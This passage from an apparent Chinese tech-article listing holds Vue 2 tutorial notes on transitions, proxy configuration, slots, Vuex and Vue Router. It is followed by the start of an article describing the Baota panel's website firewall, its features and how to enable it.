v-show="isShow">你好啊!</h1> </transition> </div> </template> <script> export default { name:'Test', data() { return { isShow:true } }, } </script> <style scoped> h1{ background-color: orange; } .hello-enter-active{ animation: move 0.5s linear; } .hello-leave-active{ animation: move 0.5s linear reverse; } @keyframes move { from{ transform: translateX(-100%); } to{ transform: translateX(0px); } } </style>具体案例(多个元素过渡)<template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition-group name="hello" appear> <h1 v-show="!isShow" key="1">你好啊!</h1> <h1 v-show="isShow" key="2">yykk!</h1> </transition-group> </div> </template> <script> export default { name:'Test', data() { return { isShow:true } }, } </script> <style scoped> h1{ background-color: orange; } /* 进入的起点、离开的终点 */ .hello-enter,.hello-leave-to{ transform: translateX(-100%); } .hello-enter-active,.hello-leave-active{ transition: 0.5s linear; } /* 进入的终点、离开的起点 */ .hello-enter-to,.hello-leave{ transform: translateX(0); } </style>使用第三库的具体案例(随便看看,这个不重要) 库的名称:Animate.css 安装:npm i animate.css 引入:import 'animate.css'<template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition-group appear name="animate__animated animate__bounce" enter-active-class="animate__swing" leave-active-class="animate__backOutUp" > <h1 v-show="!isShow" key="1">你好啊!</h1> <h1 v-show="isShow" key="2">yykk!</h1> </transition-group> </div> </template> <script> import 'animate.css' export default { name:'Test', data() { return { isShow:true } }, } </script> <style scoped> h1{ background-color: orange; } </style>记录踩坑的一天:如果你是mac用户,但是发现你的animate.css虽然引入了但是并不生效,在网上很多的都是说win系统用户没有打开动画设置,但是mac也有动画设置需要打开,进行如下操作,恢复你的animate.css动画:点击系统偏好设置点击辅助功能点击显示,取消勾选 减弱动态效果 即可!测试!4.13、Vue脚手架配置代理解决跨域问题:ajax 是前端技术,你得有浏览器,才有window对象,才有xhr,才能发ajax请求,服务器之间通信就用传统的http请求就行了。方法一在vue.config.js中添加如下配置:devServer:{ proxy:"http://localhost:5000" }说明:优点:配置简单,请求资源时直接发给前端(8080)即可。缺点:不能配置多个代理,不能灵活的控制请求是否走代理。工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)方法二编写vue.config.js配置具体代理规则:module.exports = { devServer: { proxy: { '/api1': {// 匹配所有以 '/api1'开头的请求路径 target: 'http://localhost:5000',// 代理目标的基础路径 changeOrigin: true, pathRewrite: {'^/api1': ''}//代理服务器将请求地址转给真实服务器时会将 /api1 去掉 }, '/api2': {// 匹配所有以 '/api2'开头的请求路径 target: 'http://localhost:5001',// 代理目标的基础路径 changeOrigin: true, pathRewrite: {'^/api2': ''} } } } } /* changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000 changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080 changeOrigin默认值为true */说明:优点:可以配置多个代理,且可以灵活的控制请求是否走代理。缺点:配置略微繁琐,请求资源时必须加前缀。4.14、vue-resource(不推荐)Vue项目中常用的两个Ajax库axios:通用的Ajax请求库,官方推荐,效率高vue-resource:vue插件库,vue1.x使用广泛,官方以不在维护github地址:https://github.com/pagekit/vue-resource1、下载vue-resource:yarn add vue-resource | npm install vue-resource2、使用{ // GET /someUrl this.$http.get('/someUrl').then(response => { // get body data this.someData = response.body; }, response => { // error callback }); }4.15、slot插槽作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件 。分类:默认插槽、具名插槽、作用域插槽使用方式:默认插槽:父组件中: <Category> <div>html结构1</div> </Category> 子组件中: <template> <div> <!-- 定义插槽 --> <slot>插槽默认内容...</slot> </div> </template>具名插槽:父组件中: <Category> <template slot="center"> <div>html结构1</div> </template> <template v-slot:footer> <div>html结构2</div> </template> </Category> 子组件中: <template> <div> <!-- 定义插槽 --> <slot name="center">插槽默认内容...</slot> <slot name="footer">插槽默认内容...</slot> </div> </template>作用域插槽:理解:数据在组件的自身(子组件),但根据数据生成的结构需要组件的使用者(父组件)来决定。(games数据在Category(子)组件中,但使用数据所遍历出来的结构由App(父)组件决定)具体编码:父组件中: <Category> <template scope="scopeData"> <!-- 生成的是ul列表 --> <ul> <li v-for="g in scopeData.games" :key="g">{{g}}</li> </ul> </template> </Category> <Category> <template slot-scope="scopeData"> <!-- 生成的是h4标题 --> <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4> </template> </Category> 子组件中: <template> <div> <!-- 通过数据绑定就可以把子组件的数据传到父组件 --> <slot :games="games"></slot> </div> </template> <script> export default { name:'Category', props:['title'], //数据在子组件自身 data() { return { games:['红色警戒','穿越火线','劲舞团','超级玛丽'] } }, } </script>5、Vuex官网地址:https://vuex.vuejs.org/zh/github地址:https://github.com/vuejs/vuexVuex工作原理图5.1、概念在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。==注意:如果你是vue2.x进行开发,请安装时,下载vuex3版本==5.2 什么时候使用Vuex?多个组件需要共享数据时对个组件依赖于同一状态来自不同组件的行为需要变更同一状态5.3、搭建Vuex环境创建文件:src/store/index.js//引入Vue核心库 import Vue from 'vue' //引入Vuex import Vuex from 'vuex' //应用Vuex插件 Vue.use(Vuex) //准备actions对象——响应组件中用户的动作 const actions = {} //准备mutations对象——修改state中的数据 const mutations = {} //准备state对象——保存具体的数据 const state = {} //创建并暴露store export default new Vuex.Store({ actions, mutations, state })在main.js中创建vm时传入store配置项...... //引入store import store from './store' ...... //创建vm new Vue({ el:'#app', render: h => h(App), store })5.4、基本使用初始化数据、配置actions、配置mutations,操作文件store.js//引入Vue核心库 import Vue from 'vue' //引入Vuex import Vuex from 'vuex' //引用Vuex Vue.use(Vuex) const actions = { //响应组件中加的动作 add(context,value){ // console.log('actions中的add被调用了',miniStore,value) context.commit('ADD',value) }, } const mutations = { //执行加 ADD(state,value){ // console.log('mutations中的ADD被调用了',state,value) state.sum += value } } //初始化数据 const state = { sum:0 } //创建并暴露store export default new Vuex.Store({ actions, mutations, state, })组件中读取vuex中的数据:$store.state.sum组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)或 $store.commit('mutations中的方法名',数据)备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit具体案例:index.js//该文件用于创建Vuex中最为核心的store //引入vue import Vue from 'vue'; //引入Vuex import Vuex from 'vuex'; //应用Vuex插件 Vue.use(Vuex) //准备actions--用于响应组件中的动作 const actions = { /*add: function(context, value) { // console.log('actions的add被调用了', context, value); context.commit('ADD', value) }, delete(context, value) { // console.log('actions的delete被调用了', context, value); context.commit('DELETE', value) },*/ addOdd(context, value) { // console.log('actions的addOdd被调用了', context, value); if (context.state.sum % 2) { context.commit('ADD', value) } }, addWait(context, value) { // console.log('actions的addWait被调用了', context, value); setTimeout(() => { context.commit('ADD', value) }, 500); } } // 准备mutations--用于操作数据(state) const mutations = { ADD(state, value) { // console.log('mutations的ADD被调用了', state, value); state.sum += value }, DELETE(state, value) { // console.log('mutations的DELETE被调用了', state, value); state.sum -= value } } // 准备state--用于存储数据 const state = { sum: 0 // 当前的和为 } // 创建并暴露store export default new Vuex.Store({ actions, mutations, state })Count.vue<template> <div> <h2>当前求和为:{{$store.state.sum}}</h2> <select v-model.number="number"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment">+</button> <button @click="decrement">-</button> <button @click="incrementOdd">当前求和为奇数再加</button> <button @click="incrementWait">等一等再加</button> </div> </template> <script> export default { name: 'Count', data() { return { number: 1 // 用户选择的数字 } }, methods: { increment() { // commit 是操作 mutations this.$store.commit('ADD', this.number) }, decrement() { // commit 是操作 mutations this.$store.commit('DELETE', this.number) }, incrementOdd() { // dispatch 是操作 actions this.$store.dispatch('addOdd', this.number) }, incrementWait() { // dispatch 是操作 actions this.$store.dispatch('addWait', this.number) } }, mounted() { console.log('Count', this) } } </script> <style> button { margin-left: 5px; } </style>5.5、getters的使用概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。在store.js中追加getters配置...... const getters = { bigSum(state){ return state.sum * 10 } } //创建并暴露store export default new Vuex.Store({ ...... getters })组件中读取数据:$store.getters.bigSum5.6、四个map方法的使用导入import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'mapState方法:用于帮助我们映射state中的数据为计算属性computed: { //借助mapState生成计算属性:sum、school、subject(对象写法) ...mapState({sum:'sum',school:'school',subject:'subject'}), //借助mapState生成计算属性:sum、school、subject(数组写法) ...mapState(['sum','school','subject']), },mapGetters方法:用于帮助我们映射getters中的数据为计算属性computed: { //借助mapGetters生成计算属性:bigSum(对象写法) ...mapGetters({bigSum:'bigSum'}), //借助mapGetters生成计算属性:bigSum(数组写法) ...mapGetters(['bigSum']) },mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数methods:{ //靠mapActions生成:incrementOdd、incrementWait(对象形式) ...mapActions({incrementOdd:'addOdd',incrementWait:'addWait'}) //靠mapActions生成:incrementOdd、incrementWait(数组形式) ...mapActions(['addOdd','addWait']) }mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数methods:{ //靠mapActions生成:increment、decrement(对象形式) ...mapMutations({increment:'ADD',decrement:'DELETE'}), //靠mapMutations生成:ADD、DELETE(对象形式) ...mapMutations(['ADD','DELETE']), }备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则传的参数是事件对象(event)。具体案例:<template> <div> <h2>当前求和为:{{sum}}</h2> <h2>当前求和放大10倍后为:{{bigSum}}</h2> <h2>我在{{school}},学习:{{subject}}</h2> <select v-model.number="number"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment(number)">+</button> <button @click="decrement(number)">-</button> <!-- <button @click="ADD(number)">+</button> <button @click="DELETE(number)">-</button> --> <button @click="incrementOdd(number)">当前求和为奇数再加</button> <button @click="incrementWait(number)">等一等再加</button> </div> </template> <script> import { mapActions, mapGetters, mapMutations, mapState } from 'vuex' export default { name: 'Count', data() { return { number: 1 // 用户选择的数字 } }, computed: { // 借助mapState生成计算属性,从state中生成数据.(对象写法) // ...mapState({ sum: 'sum', school: 'school', subject: 'subject' }), // 借助mapState生成计算属性,从state中生成数据.(数组写法) ...mapState(['sum', 'subject', 'school']), // ******************************************** // 借助mapGetters生成计算属性,从getters中生成数据.(对象写法) // ...mapGetters({ bigSum: bigSum }) // 借助mapGetters生成计算属性,从getters中生成数据.(数组写法) ...mapGetters(['bigSum']) }, methods: { /* increment() { // commit 是操作 mutations this.$store.commit('ADD', this.number) }, decrement() { // commit 是操作 mutations this.$store.commit('DELETE', this.number) }, */ // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法) ...mapMutations({ increment: 'ADD', decrement: 'DELETE' }), // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法) // ...mapMutations(['ADD', 'DELETE']), // ******************************************** /* incrementOdd() { // dispatch 是操作 actions this.$store.dispatch('addOdd', this.number) }, incrementWait() { // dispatch 是操作 actions this.$store.dispatch('addWait', this.number) } */ // 借助mapActions生成对应的方法,方法中会调用commit去联系actions(对象写法) ...mapActions({ incrementOdd: 'addOdd', incrementWait: 'addWait' }) // 借助mapActions生成对应的方法,方法中会调用commit去联系actions(数组写法) // ...mapActions(['addOdd', 'addWait']) }, mounted() { const x = mapState({ sum: 'sum', school: 'school', subject: 'subject' }) console.log(x) } } </script> <style> button { margin-left: 5px; } </style>5.7、模块化+命名空间目的:让代码更好维护,让多种数据分类更加明确。修改store.jsconst countAbout = { namespaced:true,//开启命名空间 state:{x:1}, mutations: { ... }, actions: { ... }, getters: { bigSum(state){ return state.sum * 10 } } } const personAbout = { namespaced:true,//开启命名空间 state:{ ... }, mutations: { ... }, actions: { ... } } const store = new Vuex.Store({ modules: { countAbout, personAbout } })开启命名空间后,组件中读取state数据://方式一:自己直接读取 this.$store.state.personAbout.list //方式二:借助mapState读取: // 用 mapState 取 countAbout 中的state 必须加上 'countAbout' ...mapState('countAbout',['sum','school','subject']),开启命名空间后,组件中读取getters数据://方式一:自己直接读取 this.$store.getters['personAbout/firstPersonName'] //方式二:借助mapGetters读取: ...mapGetters('countAbout',['bigSum'])开启命名空间后,组件中调用dispatch//方式一:自己直接dispatch this.$store.dispatch('personAbout/addPersonWang',person) //方式二:借助mapActions: ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})开启命名空间后,组件中调用commit//方式一:自己直接commit this.$store.commit('personAbout/ADD_PERSON',person) //方式二:借助mapMutations: ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),具体案例: count.js//求和相关的配置 export default { namespaced:true, actions:{ jiaOdd(context,value){ console.log('actions中的jiaOdd被调用了') if(context.state.sum % 2){ context.commit('JIA',value) } }, jiaWait(context,value){ console.log('actions中的jiaWait被调用了') setTimeout(()=>{ context.commit('JIA',value) },500) } }, mutations:{ JIA(state,value){ console.log('mutations中的JIA被调用了') state.sum += value }, JIAN(state,value){ console.log('mutations中的JIAN被调用了') state.sum -= value }, }, state:{ sum:0, //当前的和 school:'前台', subject:'前端', }, getters:{ bigSum(state){ return state.sum*10 } }, }person.js//人员管理相关的配置 import axios from 'axios' import { nanoid } from 'nanoid' export default { namespaced:true, actions:{ addPersonWang(context,value){ if(value.name.indexOf('王') === 0){ context.commit('ADD_PERSON',value) }else{ alert('添加的人必须姓王!') } }, addPersonServer(context){ axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then( response => { context.commit('ADD_PERSON',{id:nanoid(),name:response.data}) }, error => { alert(error.message) } ) } }, mutations:{ ADD_PERSON(state,value){ console.log('mutations中的ADD_PERSON被调用了') state.personList.unshift(value) } }, state:{ personList:[ {id:'001',name:'张三'} ] }, getters:{ firstPersonName(state){ return state.personList[0].name } }, }index.js//该文件用于创建Vuex中最为核心的store import Vue from 'vue' //引入Vuex import Vuex from 'vuex' import countOptions from './count' import personOptions from './person' //应用Vuex插件 Vue.use(Vuex) //创建并暴露store export default new Vuex.Store({ modules:{ countAbout:countOptions, personAbout:personOptions } })count.vue<template> <div> <h1>当前求和为:{{sum}}</h1> <h3>当前求和放大10倍为:{{bigSum}}</h3> <h3>我在{{school}},学习{{subject}}</h3> <h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment(n)">+</button> <button @click="decrement(n)">-</button> <button @click="incrementOdd(n)">当前求和为奇数再加</button> <button @click="incrementWait(n)">等一等再加</button> </div> </template> <script> import {mapState,mapGetters,mapMutations,mapActions} from 'vuex' export default { name:'Count', data() { return { n:1, //用户选择的数字 } }, computed:{ //借助mapState生成计算属性,从state中读取数据。(数组写法) ...mapState('countAbout',['sum','school','subject']), ...mapState('personAbout',['personList']), //借助mapGetters生成计算属性,从getters中读取数据。(数组写法) ...mapGetters('countAbout',['bigSum']) }, methods: { //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法) ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}), //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法) ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'}) }, mounted() { console.log(this.$store) }, } </script> <style lang="css"> button{ margin-left: 5px; } </style>person.vue<template> <div> <h1>人员列表</h1> <h3 style="color:red">Count组件求和为:{{sum}}</h3> <h3>列表中第一个人的名字是:{{firstPersonName}}</h3> <input type="text" placeholder="请输入名字" v-model="name"> <button @click="add">添加</button> <button @click="addWang">添加一个姓王的人</button> <button @click="addPersonServer">添加一个人,名字随机</button> <ul> <li v-for="p in personList" :key="p.id">{{p.name}}</li> </ul> </div> </template> <script> import {nanoid} from 'nanoid' export default { name:'Person', data() { return { name:'' } }, computed:{ personList(){ return this.$store.state.personAbout.personList }, sum(){ return this.$store.state.countAbout.sum }, firstPersonName(){ return this.$store.getters['personAbout/firstPersonName'] } }, methods: { add(){ const personObj = {id:nanoid(),name:this.name} this.$store.commit('personAbout/ADD_PERSON',personObj) this.name = '' }, addWang(){ const personObj = {id:nanoid(),name:this.name} this.$store.dispatch('personAbout/addPersonWang',personObj) this.name = '' }, addPersonServer(){ this.$store.dispatch('personAbout/addPersonServer') } }, } </script>6、路由(VueRouter)理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。前端路由:key是路径,value是组件。官网地址:https://router.vuejs.org/github地址:https://github.com/vuejs/router6.1、基本使用安装vue-router,命令:npm i vue-router / yarn add vue-router注意点:如果你是vue2.x进行开发,那么请安装vue-router@3应用插件:Vue.use(VueRouter)编写router配置项://引入VueRouter import VueRouter from 'vue-router' //引入Luyou 组件 import About from '../components/About' import Home from '../components/Home' //创建router实例对象,去管理一组一组的路由规则 const router = new VueRouter({ routes:[ { path:'/about', component:About }, { path:'/home', component:Home } ] }) //暴露router export default router实现切换(active-class可配置高亮样式)<router-link active-class="active" to="/about">About</router-link>指定展示位置<router-view></router-view>6.2、几个注意点路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。每个组件都有自己的$route属性,里面存储着自己的路由信息。整个应用只有一个router,可以通过组件的$router属性获取到。6.3、多级路由配置路由规则,使用children配置项:routes:[ { path:'/about', component:About, }, { path:'/home', component:Home, children:[ //通过children配置子级路由 { path:'news', //此处一定不要写:/news component:News }, { path:'message',//此处一定不要写:/message component:Message } ] } ]跳转(要写完整路径):<router-link to="/home/news">News</router-link>指定展示位置<router-view></router-view>6.4、路由的query参数传递参数<!-- 跳转并携带query参数,to的字符串写法,切记加模板字符串! --> <router-link :to="`/home/message/detail?id=${id}&title=${title}`">跳转</router-link> <!-- 跳转并携带query参数,to的对象写法 --> <router-link :to="{ path:'/home/message/detail', query:{ id:666, title:'你好' } }" >跳转</router-link>接收参数:$route.query.id $route.query.title6.5、命名路由作用:可以简化路由的跳转。如何使用给路由命名:{ path:'/demo', component:Demo, children:[ { path:'test', component:Test, children:[ { name:'hello' //给路由命名 path:'welcome', component:Hello, } ] } ] }简化跳转:<!--简化前,需要写完整的路径 --> <router-link to="/demo/test/welcome">跳转</router-link> <!--简化后,直接通过名字跳转 --> <router-link :to="{name:'hello'}">跳转</router-link> <!--简化写法配合传递参数 --> <router-link :to="{ name:'hello', query:{ id:666, title:'你好' } }" >跳转</router-link>6.6、 路由的params参数配置路由,声明接收params参数{ path:'/home', component:Home, children:[ { path:'news', component:News }, { component:Message, children:[ { name:'xiangqing', path:'detail/:id/:title', //使用占位符声明接收params参数 component:Detail } ] } ] }传递参数<!-- 跳转并携带params参数,to的字符串写法 --> <router-link :to="/home/message/detail/666/你好">跳转</router-link> <!-- 跳转并携带params参数,to的对象写法 --> <router-link :to="{ name:'xiangqing', params:{ id:666, title:'你好' } }" >跳转</router-link>特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!接收参数$route.params.id $route.params.title6.7、路由的props配置作用:让路由组件更方便的收到参数{ name:'xiangqing', path:'detail/:id', component:Detail, //第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件 // props:{a:900} //第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件 // props:true //第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件 props($route) { return { id: $route.query.id, title:$route.query.title, a: 1, b: 'hello' } } }方便在要跳转去的组件里更简便的写法跳转去组件的具体代码<template> <ul> <h1>Detail</h1> <li>消息编号:{{id}}</li> <li>消息标题:{{title}}</li> <li>a:{{a}}</li> <li>b:{{b}}</li> </ul> </template> <script> export default { name: 'Detail', props: ['id', 'title', 'a', 'b'], mounted () { console.log(this.$route); } } </script> <style> </style>6.8、<router-link>的replace属性作用:控制路由跳转时操作浏览器历史记录的模式浏览器的历史记录有两种写入方式:分别为push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时候默认为push如何开启replace模式:<router-link replace .......>News</router-link>注意:原来的写法是 :replace=“true” 简写为: replace6.9、编程式路由导航作用:不借助<router-link> 实现路由跳转,让路由跳转更加灵活具体编码://$router的两个API this.$router.push({ name:'xiangqing', params:{ id:xxx, title:xxx } }) this.$router.replace({ name:'xiangqing', params:{ id:xxx, title:xxx } }) this.$router.forward() //前进 this.$router.back() //后退 this.$router.go() //可前进也可后退6.10、缓存路由组件作用:让不展示的路由组件保持挂载,不被销毁。具体编码:这个 include 指的是组件名<keep-alive include="News"> <router-view></router-view> </keep-alive>如果想要缓存多个组件名,如果不写include选项默认缓存所有!<keep-alive :include="['News','Details']"> <router-view></router-view> </keep-alive>6.11、两个新的生命周期钩子作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。 具体名字:activated路由组件被激活时触发。deactivated路由组件失活时触发。这两个生命周期钩子需要配合前面的缓存路由组件使用(没有缓存路由组件不起效果)6.12、路由守卫作用:对路由进行权限控制分类:全局守卫、独享守卫、组件内守卫全局守卫://全局前置守卫:初始化时执行、每次路由切换前执行 router.beforeEach((to,from,next)=>{ console.log('beforeEach',to,from) if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制 if(localStorage.getItem('school') === 'yykk'){ //权限控制的具体规则 next() //放行 }else{ alert('暂无权限查看') // next({name:'guanyu'}) } }else{ next() //放行 } }) //全局后置守卫:初始化时执行、每次路由切换后执行 router.afterEach((to,from)=>{ console.log('afterEach',to,from) if(to.meta.title){ document.title = to.meta.title //修改网页的title }else{ document.title = 'vue_test' } })完整代码// 这个文件专门用于创建整个应用的路由器 import VueRouter from 'vue-router' // 引入组件 import About from '../pages/About.vue' import Home from '../pages/Home.vue' import Message from '../pages/Message.vue' import News from '../pages/News.vue' import Detail from '../pages/Detail.vue' // 创建并暴露一个路由器 const router = new VueRouter({ routes: [ { path: '/home', component: Home, meta:{title:'主页'}, children: [ { path: 'news', component: News, meta:{isAuth:true,title:'新闻'} }, { path: 'message', name: 'mess', component: Message, meta:{isAuth:true,title:'消息'}, children: [ { path: 'detail/:id/:title', name: 'xiangqing', component: Detail, meta:{isAuth:true,title:'详情'}, props($route) { return { id: $route.query.id, title:$route.query.title, a: 1, b: 'hello' } } } ] } ] }, { path: '/about', component: About, meta:{ title: '关于' } } ] }) // 全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用 router.beforeEach((to, from, next) => { console.log('前置路由守卫', to, from); if(to.meta.isAuth) { if(localStorage.getItem('school') === 'zhejiang') { // 放行 next() } else { alert('学校名不对,无权查看') } } else { next() } }) // 全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用 router.afterEach((to, from) => { console.log('后置路由守卫', to, from) document.title = to.meta.title || '我的系统' }) export default router独享守卫:就是在 routes 子路由内写守卫beforeEnter(to,from,next){ console.log('beforeEnter',to,from) if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制 if(localStorage.getItem('school') === 'yykk'){ next() }else{ alert('暂无权限查看') // next({name:'guanyu'}) } }else{ next() } }组件内守卫在具体组件内写守卫//进入守卫:通过路由规则,进入该组件时被调用 beforeRouteEnter (to, from, next) { }, //离开守卫:通过路由规则,离开该组件时被调用 beforeRouteLeave (to, from, next) { }6.13、路由器的两种工作模式对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。hash模式:地址中永远带着#号,不美观 。若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。兼容性较好。history模式:地址干净,美观 。兼容性和hash模式相比略差。应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。// mode配置成history,默认为hash const router = new VueRouter({ mode: 'history', base: ‘/WebTest/Vue/bigscreen/dist’, routes }) //如果项目代码直接放在服务器的根目录, 那么是没有问题的,base不需要配置。如果项目代码是放在服务器的子目录,需要加一个base配置项,里面配置项目代码在服务器内的路径。nodejs解决的方法:下载:npm i connect-history-api-fallback 可以实现解决页面404,解决history问题文档参考:https://www.npmjs.com/package/connect-history-api-fallback7、VUE UI 组件库7.1、移动端常用UI组件库Vant:https://vant-contrib.gitee.io/vant/#/zh-CNCube UI:https://didi.github.io/cube-ui/#/en-USMint UI:http://mint-ui.github.io/#!/en7.2、PC端常用UI组件库Element UI:https://element.eleme.io/#/zh-CNIVew UI:https://iview.github.io/
文章
存储  ·  缓存  ·  资源调度  ·  JavaScript  ·  前端开发  ·  算法  ·  安全  ·  API  ·  开发者  ·  容器
2022-10-16
Linux服务器防火墙是什么?有什么作用呢?如何开启防火墙?
宝塔防火墙作用要让你的网站保持持久的安全和稳定,开启网站防火墙是必不可少的一步。别等到被攻击的时候再去补救,那个时候某种程度来讲,已经晚了。安装和开启防火墙,就是防患于未然。未雨绸缪。最大程度保护好你的云服务器和网站数据。宝塔面板防火墙主要有Nginx防火墙,Apache防火墙。你的网站是采用LNMP开发环境安装的,那你就使用Nginx防火墙。如果你网站环境是LAMP搭建的,那就使用Apache防火墙。现在绝大多数网站都是用Nginx(LNMP)搭建的,所以大部分使用Nginx防火墙。使用场景:1.遭受CC攻击、部分流量攻击的用户2.遭受SQL注入、XSS/XSRF之类的渗透攻击的用户3.遭受恶意上传脚本、webshell等危险行为的用户4.希望屏蔽境内或境外地区访问自己网站的用户5.希望通过UA、IP黑白名单管理网站访问规则的用户6.希望可视化管理网站防御规则的用户7.希望实时展示防火墙拦截状态的用户8.适合想要查看攻击来源、被攻击的URI、保护的目录,但又不会看的用户9.适合网站不需要某些蜘蛛来访,但又不会禁止的用户10.适合网站被扫描器恶意扫描,但又不会禁止的用户11.适合网站发文章不想要某些敏感词出现,但又不会设置的用户12.应用场景包含所有动态网站宝塔面板网站防火墙是基于nginx/apache模块开发的一套应用层防火墙,能有效阻止大部分渗透攻击,且提供高度自由的规则自定义功能,为站点加一道铜墙铁壁。主要目的是从源头阻止站点被挂马的事情发生。目前宝塔官网和官方论坛一直都在使用宝塔网站防火墙,效果良好。宝塔面板防火墙是一个防火墙程序,用于在宝塔面板中防御服务器外来攻击使用的。根据环境服务软件的不同,分为nginx防火墙和apache防火墙。宝塔面板防火墙其实管理的是操作系统自带的防火墙。不过系统防火墙属于命令行查看、设置、执行,对很多用户不够友好,宝塔面板把命令行变成了可视化界面,点击鼠标就可以轻松设置防火墙了。互联网无时无刻都有各种扫描、探测、攻击着我们的服务器,这些攻击者不放过每一个机会, 按照IP段一路扫描过来,只要云服务器的公网IP提供对外访问,就躲不开探测和攻击。这时候防火墙就有了存在的意义。可以抵御相当一部分恶意探测和攻击,防患于未然。宝塔防火墙主要功能宝塔防火墙主要功能:1、常规过滤,包括GET(URI、URI参数)、POST、Cookie、User-Agent、Header、IP黑白名单、URI黑白名单等等2、禁止国外站点访问,开启后,该站点只允许国内用户访问(包括香港、澳门、台湾)3、URI加密保护,常用于对网站后台的保护4、URI专用规则,快速修补漏洞5、CDN模式,如果您的站点使用了CDN,请开启CDN模式,否则防火墙可能影响网站的正常访问。宝塔面板的防火墙面向站点的规则应用;可单独关闭或开启某一站点的防护功能;高度自由的规则应用,允许用户编辑和选择某一站点是否使用此规则。开启防火墙步骤开通了宝塔面板专业版的人士,宝塔面板所有付费插件都可以免费使用,不需要额外再付钱使用了。宝塔Linux面板专业版的nginx防火墙试用了一下,发现功能还是很丰富的,使用起来也很简单,这篇文章就来说说收费版的Nginx防火墙如何设置,算是给初次设置的同学一个参考。要使用这个防火墙,你得购买了,29.8一个月,找不到月付(实际278.93元/年),废话不多说了,我们看看专业版Nginx防火墙应该如何设置。目前,教程用的版本是8.1.2,最新版本是Nginx防火墙8.8.9(但总体来说相差没那么大)。1.第一步:绑定宝塔官网你注册的个人账号。 宝塔面板官网地址:《宝塔服务器面板官网》 一般用手机号注册,这是你唯一的宝塔面板官网账号。2.登录宝塔面板-->软件商店-->【关键词搜索:Nginx防火墙】或【点击专业版插件】-->网站监控报表-->安装插件安装后可直接点击宝塔面板左侧【防火墙】按钮,即可访问新版防火墙的管理页面。启动后它展示的默认页是概览页,它将展示的内容有总拦截次数、24小时拦截次数、CC拦截次数以及保护天数。在第二第三栏中更有封锁IP列表、攻击地图、7天拦截趋势图、今日网站拦截TOP5与防御动态展示。防火墙使用教程宝塔面板防火墙使用教程参考:宝塔面板官网论坛——宝塔Nginx网站防火墙使用说明我们打开这个防火墙,首先进入到首页,这里可以看到防火墙的总开关,这个和免费防火墙是一样的。还可以看到各种攻击的报表。比如:POST渗透、GET渗透、CC攻击、恶意User-Agent、Cookie渗透、恶意扫描、恶意HEAD请求、网址自定义拦截、网址保护、恶意文件上传、禁止的扩展名、禁止PHP脚本等信息全局设置全局设置页面将展示防火墙的所有功能,可在此设置全局规则、各种类型的黑白名单、响应状态码等。当前页面支持导入导出防火墙的配置(仅支持Nginx防火墙内的规则导入导出),恢复默认防火墙配置、模拟攻击测试等。开始前请详细阅读下列提示,非常重要、非常重要、非常重要。继承:全局设置将在站点配置中自动继承为默认值,现有站点不受全局设置的影响,新增站点才会直接自动继承的应用全局设置。优先级:IP白名单> IP黑名单 > UA白名单> UA黑名单> URL关键词拦截 > URL白名单 > URL黑名单 > 禁止境外> 禁止境内> > 非浏览器拦截> User-Agent > CC防御 > Cookie > URI过滤 > URL参数 > Thinkphp防御> POST > 